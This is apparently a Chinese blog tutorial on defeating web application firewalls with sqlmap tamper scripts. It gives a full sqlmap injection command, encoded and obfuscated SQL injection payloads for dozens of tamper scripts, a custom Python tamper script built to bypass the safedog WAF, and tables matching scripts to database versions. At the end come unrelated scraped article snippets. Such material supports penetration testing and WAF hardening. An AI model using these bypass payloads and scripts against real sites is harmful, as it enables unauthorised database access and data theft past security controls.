SQL注入--SQLMap过WAF
单引号被过滤情况:

空格、等号未被过滤情况:

select被过滤情况:

以此类推,当sqlmap注入出现问题时,比如不出数据,就要检查对应的关键词是否被过滤。
比如空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py等等。
根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化。

sqlmap.py -u "http://www.target.com/test.php?id=12" --dbms mysql --tamper "space2commet,versionedmorekeywords.py" -v 3 --dbs
脚本名:apostrophemask.py
作用:用utf8代替引号
|
1
|
Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' |
Tested against: all
脚本名:equaltolike.py
作用:like 代替等号
|
1
2
3
4
5
|
Example:* Input: SELECT * FROM users WHERE id=1* Output: SELECT * FROM users WHERE id LIKE 1 |
脚本名:space2dash.py
作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
|
1
|
Example: ('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' |
Tested against: * MSSQL * SQLite
脚本名:greatest.py
作用:绕过过滤’>’ ,用GREATEST替换大于号。
|
1
|
Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 |
脚本名:space2hash.py
作用:空格替换为#号 随机字符串 以及换行符
|
1
2
3
4
|
Example:* Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Requirement:
- MySQL Tested against:
- MySQL 4.0, 5.0
脚本名:apostrophenullencode.py
作用:绕过过滤双引号,替换字符和双引号。
|
1
|
Example: tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' |
Tested against:
- MySQL 4, 5.0 and 5.5
- Oracle 10g
- PostgreSQL 8.3, 8.4, 9.0
脚本名:halfversionedmorekeywords.py
作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
|
1
2
3
|
Example:("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" |
Requirement:
- MySQL < 5.1
Tested against:
- MySQL 4.0.18, 5.0.22
脚本名:space2morehash.py
作用:空格替换为 #号 以及更多随机字符串 换行符
|
1
2
3
4
5
|
Example:* Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Requirement: * MySQL >= 5.1.13 Tested
against: * MySQL 5.1.41
脚本名:appendnullbyte.py
作用:在有效负荷结束位置加载零字节字符编码
|
1
|
Example: ('1 AND 1=1') '1 AND 1=1%00' |
Requirement:
- Microsoft Access
脚本名:ifnull2ifisnull.py
作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
|
1
2
3
|
Example:('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' |
Requirement:
- MySQL
- SQLite (possibly)
- SAP MaxDB (possibly)
Tested against:
- MySQL 5.0 and 5.5
脚本名:space2mssqlblank.py(mssql)
作用:空格替换为其它空符号
Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers
Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005
ASCII table:
脚本名:base64encode.py
作用:用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all
脚本名:space2mssqlhash.py
作用:替换空格
|
1
|
Example: ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL |
脚本名:modsecurityversioned.py
作用:过滤空格,包含完整的查询版本注释
|
1
|
Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--' |
Requirement: * MySQL
Tested against:
- MySQL 5.0
脚本名:space2mysqlblank.py
作用:空格替换其它空白符号(mysql)
|
1
2
3
4
5
|
Example:* Input: SELECT id FROM users* Output: SELECT%0Bid%0BFROM%A0users |
Requirement:
- MySQL
Tested against:
- MySQL 5.1
脚本名:between.py
作用:用between替换大于号(>)
|
1
|
Example: ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
Tested against:
- Microsoft SQL Server 2005
- MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
脚本名:space2mysqldash.py
作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
注:之前有个mssql的 这个是mysql的
|
1
|
Example: ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227' |
Requirement:
- MySQL
- MSSQL
脚本名:multiplespaces.py
作用:围绕SQL关键字添加多个空格
|
1
|
Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar' |
Tested against: all
脚本名:space2plus.py
作用:用+替换空格
|
1
|
Example: ('SELECT id FROM users') 'SELECT+id+FROM+users' Tested against: all |
脚本名:bluecoat.py
作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
|
1
|
Example: ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1' |
Tested against:
- MySQL 5.1, SGOS
脚本名:nonrecursivereplacement.py
双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
|
1
|
Example: ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all |
脚本名:space2randomblank.py
作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集
|
1
|
Example: ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers' |
Tested against: all
脚本名:sp_password.py
作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
|
1
|
Example: ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL |
脚本名:chardoubleencode.py
作用: 双url编码(不处理以编码的)
|
1
2
3
4
5
|
Example:* Input: SELECT FIELD FROM%20TABLE* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 |
脚本名:unionalltounion.py
作用:替换UNION ALL SELECT UNION SELECT
Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'
Requirement: all
脚本名:charencode.py
作用:url编码
|
1
2
3
4
5
|
Example:* Input: SELECT FIELD FROM%20TABLE* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
tested against:
- Microsoft SQL Server 2005
- MySQL 4, 5.0 and 5.5
- Oracle 10g
- PostgreSQL 8.3, 8.4, 9.0
脚本名:randomcase.py
作用:随机大小写 Example:
- Input: INSERT
- Output: InsERt
Tested against:
- Microsoft SQL Server 2005
- MySQL 4, 5.0 and 5.5
- Oracle 10g
- PostgreSQL 8.3, 8.4, 9.0
脚本名:unmagicquotes.py
作用:宽字符绕过 GPC addslashes
|
1
2
3
4
5
|
Example:* Input: 1′ AND 1=1* Output: 1%bf%27 AND 1=1–%20 |
脚本名:randomcomments.py
作用:用/**/分割sql关键字
|
1
2
3
|
Example:‘INSERT’ becomes ‘IN//S//ERT’ |
脚本名:charunicodeencode.py
作用:字符串 unicode 编码
|
1
2
3
4
5
|
Example:* Input: SELECT FIELD%20FROM TABLE* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
Requirement:
- ASP
- ASP.NET
Tested against:
- Microsoft SQL Server 2000
- Microsoft SQL Server 2005
- MySQL 5.1.56
- PostgreSQL 9.0.3
脚本名:securesphere.py
作用:追加特制的字符串
|
1
|
Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'" |
Tested against: all
脚本名:versionedmorekeywords.py
作用:注释绕过
|
1
2
3
4
5
|
Example:* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# |
Requirement:
- MySQL >= 5.1.13
脚本名:space2comment.py
作用:Replaces space character (‘ ‘) with comments ‘/**/’
|
1
2
3
4
5
|
Example:* Input: SELECT id FROM users* Output: SELECT//id//FROM/**/users |
Tested against:
- Microsoft SQL Server 2005
- MySQL 4, 5.0 and 5.5
- Oracle 10g
- PostgreSQL 8.3, 8.4, 9.0
脚本名:halfversionedmorekeywords.py
作用:关键字前加注释
|
1
2
3
4
5
|
Example:* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND‘QDWa’='QDWa* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa |
Requirement:
- MySQL < 5.1
Tested against:
- MySQL 4.0.18, 5.0.22
编写一个tamper脚本
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) #常规文档说明
See the file 'doc/COPYING' for copying permission
v0.0.1 #添加这个脚本的版本说明
2016.08.21 #添加我们写这个脚本的日期
"""
from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py
__priority__ = PRIORITY.LOW #定义优先级,此处为级别为【一般】
def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。
pass #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性
def tamper(payload, **kwargs): #定义tamper脚本,**kwargs 为字典存储,类似于 {'a': 1, 'c': 3}
"""
To bypass safedog
Replaces space character (' ') with plus ('/*|%20--%20|*/') #把空格替换为(/*|%20--%20|*/)绕过,此处为绕过规则
>>> tamper('SELECT id FROM users') #此处为替换后的具体执行形式
'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
"""
retVal = payload # 将payload赋值给 retVal ,以便中间转换。
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False #定义这些符号参数,防止对后面的替换造成影响
for i in xrange(len(payload)): # 在攻击载荷中逐个进行判断操作。
if not firstspace: #如果攻击载荷的第一个字段是空格,则进行替换
if payload[i].isspace():
firstspace = True
retVal += "/*|%20--%20|*/" #把空格( ) 替换成(/*|%20--%20|*/)
continue #继续进行判断操作
elif payload[i] == '\'': #如果攻击载荷中有(\ ),则进行编码转换
quote = not quote
elif payload[i] == '"': #如果攻击载荷中有(“ ),则进行编码转换
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote: #如果攻击载荷中有空格(),并且它既不是doublequote 或 quote
retVal += "/*|%20--%20|*/" #则进行编码转换
continue 继续执行
retVal += payload[i] #得到重新组合的payload
return retVal
附:tamper57个脚本:
| 序号 | 脚本名称 | 注释 |
|---|---|---|
| 1 | 0x2char | 将每个编码后的字符转换为等价表达 |
| 2 | apostrophemask | 单引号替换为Utf8字符 |
| 3 | apostrophenullencode | 替换双引号为%00%27 |
| 4 | appendnullbyte | 有效代码后添加%00 |
| 5 | base64encode | 使用base64编码 |
| 6 | between | 比较符替换为between |
| 7 | bluecoat | 空格替换为随机空白字符,等号替换为like |
| 8 | chardoubleencode | 双url编码 |
| 9 | charencode | 将url编码 |
| 10 | charunicodeencode | 使用unicode编码 |
| 11 | charunicodeescape | 以指定的payload反向编码未编码的字符 |
| 12 | commalesslimit | 改变limit语句的写法 |
| 13 | commalessmid | 改变mid语句的写法 |
| 14 | commentbeforeparentheses | 在括号前加内联注释 |
| 15 | concat2concatws | 替换CONCAT为CONCAT_WS |
| 16 | equaltolike | 等号替换为like |
| 17 | escapequotes | 双引号替换为\\\\ |
| 18 | greatest | 大于号替换为greatest |
| 19 | halfversionedmorekeywords | 在每个关键字前加注释 |
| 20 | htmlencode | html编码所有非字母和数字的字符 |
| 21 | ifnull2casewhenisnull | 改变ifnull语句的写法 |
| 22 | ifnull2ifisnull | 替换ifnull为if(isnull(A)) |
| 23 | informationschemacomment | 标示符后添加注释 |
| 24 | least | 替换大于号为least |
| 25 | lowercase | 全部替换为小写值 |
| 26 | modsecurityversioned | 空格替换为查询版本的注释 |
| 27 | modsecurityzeroversioned | 添加完整的查询版本的注释 |
| 28 | multiplespaces | 添加多个空格 |
| 29 | nonrecursivereplacement | 替换预定义的关键字 |
| 30 | overlongutf8 | 将所有字符转义为utf8 |
| 31 | overlongutf8more | 以指定的payload转换所有字符 |
| 32 | percentage | 每个字符前添加% |
| 33 | plus2concat | 将加号替换为concat函数 |
| 34 | plus2fnconcat | 将加号替换为ODBC函数{fn CONCAT()} |
| 35 | randomcase | 字符大小写随机替换 |
| 36 | randomcomments | /**/分割关键字 |
| 37 | securesphere | 添加某字符串 |
| 38 | sp_password | 追加sp_password字符串 |
| 39 | space2comment | 空格替换为/**/ |
| 40 | space2dash | 空格替换为–加随机字符 |
| 41 | space2hash | 空格替换为#加随机字符 |
| 42 | space2morecomment | 空格替换为/**_**/ |
| 43 | space2morehash | 空格替换为#加随机字符及换行符 |
| 44 | space2mssqlblank | 空格替换为其他空符号 |
| 45 | space2mssqlhash | 空格替换为%23%0A |
| 46 | space2mysqlblank | 空格替换为其他空白符号 |
| 47 | space2mysqldash | 空格替换为–%0A |
| 48 | space2plus | 空格替换为加号 |
| 49 | space2randomblank | 空格替换为备选字符集中的随机字符 |
| 50 | symboliclogical | AND和OR替换为&&和|| |
| 51 | unionalltounion | union all select替换为union select |
| 52 | unmagicquotes | 宽字符绕过GPC |
| 53 | uppercase | 全部替换为大写值 |
| 54 | varnish | 添加HTTP头 |
| 55 | versionedkeywords | 用注释封装每个非函数的关键字 |
| 56 | versionedmorekeywords | 使用注释绕过 |
| 57 | xforwardedfor | 添加伪造的HTTP头 |
Part 3
下面以数据库为区分,给出每种数据库可供选择的tamper。若同一脚本适用不同数据库,则在每个数据库中都指出。
【MySQL】
| 版本 | 可用tamper编号 | 脚本名称 |
|---|---|---|
| 4/5.0/5.5 | 1 | 0x2char |
| 6 | between | |
| 9 | charencode | |
| 16 | concat2concatws | |
| 18 | greatest | |
| 24 | least | |
| 25 | lowercase | |
| 35 | randomcase | |
| 39 | space2comment | |
| 49 | space2randomblank | |
| 53 | uppercase | |
| 5.1 | 7 | bluecoat |
| 46 | space2mysqlblank | |
| 5.0/5.5 | 12 | commalesslimit |
| 13 | commalessmid | |
| 21 | ifnull2casewhenisnull | |
| 22 | ifnull2ifisnull | |
| 42 | space2morecomment | |
| 5.0 | 15 | concat2concatws |
| 26 | modsecurityversioned | |
| 27 | modsecurityzeroversioned | |
| 4.0/5.0 | 41 | space2hash |
| 5.1.56 | 10 | charunicodeencode |
| 5.1.56/5.5.11 | 32 | percentage |
| 56 | versionedmorekeywords | |
| 4.0.18/5.0.22 | 19 | halfversionedmorekeywords |
| 4.0.18/5.1.56/5.5.11 | 55 | versionedkeywords |
| 5.1.41 | 43 | space2morehash |
| 未指定版本 | 14 | commentbeforeparentheses |
| 40 | space2dash | |
| 45 | space2mssqlhash | |
| 47 | space2mysqldash |
【SQLServer】
| 版本 | 可用tamper编号 | 脚本名称 |
|---|---|---|
| 2005/2000 | 10 | charunicodeencode |
| 32 | percentage | |
| 44 | space2mssqlblank | |
| 2005 | 6 | between |
| 9 | charencode | |
| 16 | equaltolike | |
| 25 | lowercase | |
| 35 | randomcase | |
| 39 | space2comment | |
| 49 | space2randomblank | |
| 53 | uppercase | |
| 2002+ | 33 | plus2concat |
| 2008+ | 34 | plus2fnconcat |
| 未指定 | 14 | commentbeforeparentheses |
【Access】
| 版本 | 可用tamper编号 | 脚本名称 |
|---|---|---|
| 未指定 | 4 | appendnullbyte |
【Oracle】
| 版本 | 可用tamper编号 | 脚本名称 |
|---|---|---|
| 10g | 6 | between |
| 9 | charencode | |
| 14 | commentbeforeparentheses | |
| 18 | greatest | |
| 24 | least | |
| 25 | lowercase | |
| 35 | randomcase | |
| 39 | space2comment | |
| 49 | space2randomblank | |
| 53 | uppercase |
【PostgreSQL】
| 版本 | 可用tamper编号 | 脚本名称 |
|---|---|---|
| 8.3/8.4/9.0 | 6 | between |
| 9 | charencode | |
| 18 | greatest | |
| 24 | least | |
| 25 | lowercase | |
| 39 | space2comment | |
| 49 | space2randomblank | |
| 53 | uppercase | |
| 9.0 | 32 | percentage |
| 9.0.3 | 10 | charunicodeencode |
| 未指定 | 14 | commentbeforeparentheses |
| 35 | randomcase |
【MSSQL】
| 版本 | 可用tamper编号 | 脚本名称 |
|---|---|---|
| 未指定 | 38 | sp_password |
【SQLite】
| 版本 | 可用tamper编号 | 脚本名称 |
|---|---|---|
| 未指定 | 40 | space2dash |
【未知适用范围】
若以上脚本未解决问题,可尝试使用一下脚本。
| 版本 | 可用tamper编号 | 脚本名称 |
|---|---|---|
| 2 | apostrophemask | |
| 3 | apostrophenullencode | |
| 5 | base64encode | |
| 8 | chardoubleencode | |
| 11 | charunicodeescape | |
| 17 | escapequotes | |
| 20 | htmlencode | |
| 23 | informationschemacomment | |
| 28 | multiplespaces | |
| 29 | nonrecursivereplacement | |
| 30 | overlongutf8 | |
| 31 | overlongutf8more | |
| 36 | randomcomments | |
| 37 | securesphere | |
| 48 | space2plus | |
| 50 | symboliclogical | |
| 51 | unionalltounion | |
| 52 | unmagicquotes | |
| 54 | varnish | |
| 57 | xforwardedfor |
SQL注入--SQLMap过WAF的更多相关文章
- 一次对真实网站的SQL注入———SQLmap使用
网上有许多手工注入SQL的例子和语句,非常值得我们学习,手工注入能让我们更加理解网站和数据库的关系,也能明白为什么利用注入语句能发现网站漏洞. 因为我是新手,注入语句还不太熟悉,我这次是手注发现的注点 ...
- SQL注入中的WAF绕过技术
目录 1.大小写绕过 2.简单编码绕过 3.注释绕过 4.分隔重写绕过 5.Http参数污染(HPP) 6.使用逻辑运算符 or /and绕过 7.比较操作符替换 8.同功能函数替换 9.盲注无需or ...
- SQL注入中的WAF绕过
1.大小写绕过 这个大家都很熟悉,对于一些太垃圾的WAF效果显著,比如拦截了union,那就使用Union UnIoN等等绕过. 2.简单编码绕过 比如WAF检测关键字,那么我们让他检测不到就可以了. ...
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...
- 深入理解SQL注入绕过WAF与过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 普通SQL注入
安全防御:过滤/转义非法参数,屏蔽SQL查询错误. 工具:Firefox,hackbar,sqlmap,burpsuite 1.联想tms站 例1, 联想tms站fromCity参数存在普通SQL注入 ...
- 2017-2018-2 20179204《网络攻防实践》第十一周学习总结 SQL注入攻击与实践
第1节 研究缓冲区溢出的原理,至少针对两种数据库进行差异化研究 1.1 原理 在计算机内部,输入数据通常被存放在一个临时空间内,这个临时存放的空间就被称为缓冲区,缓冲区的长度事先已经被程序或者操作系统 ...
- sql注入知识点
需找sql注入点1\无特定目标inurl:.php?id= 2\有特定目标:inurl:.php?id= site:target.com 3\工具爬取spider,对搜索引擎和目标网站的链接进行爬取 ...
随机推荐
- sqlserver2008 T_SQL篇
事物 事物的概念:--转自百度百科事务(Transaction)是并发控制的单位,是用户定义的一个操作序列.这些操作要么都做,要么都不做,是一个不可分割的工作单位.通过事务,SQL Server能将逻 ...
- LG3211 [HNOI2011]XOR和路径
题意 题目描述 给定一个无向连通图,其节点编号为 1 到 N,其边的权值为非负整数.试求出一条从 1 号节点到 N 号节点的路径,使得该路径上经过的边的权值的"XOR 和"最大.该 ...
- 自定义事件——Event和CustomEvent
之前在学习自定义事件时,在MDN的Event.initEvent()页面顶端有写:该特性已从Web标准中删除,虽然一些浏览器目前仍然支持它,但也许会在未来的某个时间停止支持,请尽量不要使用该特性. 作 ...
- 北京U3D外包团队 UE4红军抗战案例 Unity3D红军抗战案例 UE4下载和安装虚幻4游戏引擎
刚完整UE4红军抗战案例 Unity3D红军抗战案例,有在线演示(版权关系不方便发图),有UE4或Unity项目定制外包开发的欢迎联系我们 进入虚幻4的官方主页(https://www.unreale ...
- System.DllNotFoundException: Unable to load DLL 'libgdiplus': The specified module could not be found.
netcore 使用System.Drawing 出现如下错误: Unhandled Exception: System.TypeInitializationException: The type i ...
- MapperScan和ComponentScan同时使用问题
@MapperScan:1.首先了解@Mapper 在接口上添加了@Mapper,在编译之后就会生成相应的接口实现类. 不过需要在每个接口上面进行配置,为了简化开发,就有了 @Mapper ...
- 【json】与【枚举】的序列化和反序列化
参考:Jackson – Deserialization from json to Java enums 问题描述 java中使用枚举时,如果涉及到restful调用,不可避免会涉及到枚举的序列化和反 ...
- 通俗易懂理解Linux文件权限修改chmod命令
chmod g+w filename 给同组用户增加filename文件的写权限 chmod go+rw filename 给同组和组外用户增加写和读的权限 chmod g-w filename 给同 ...
- Elasticsearch-6.7.0系列(一)9200端口 .tar.gz版本centos7环境--下载安装运行
https://www.elastic.co/guide/index.html(推荐) ES官方英文原版文档,一般会更新到最新版本 https://www.elastic.co/cn/d ...
- InfluxDB安装和简介
InfluxDB是一个当下比较流行的时序数据库,InfluxDB使用 Go 语言编写,无需外部依赖,安装配置非常方便,适合构建大型分布式系统的监控系统. 一.InfluxDB 简介 InfluxDB ...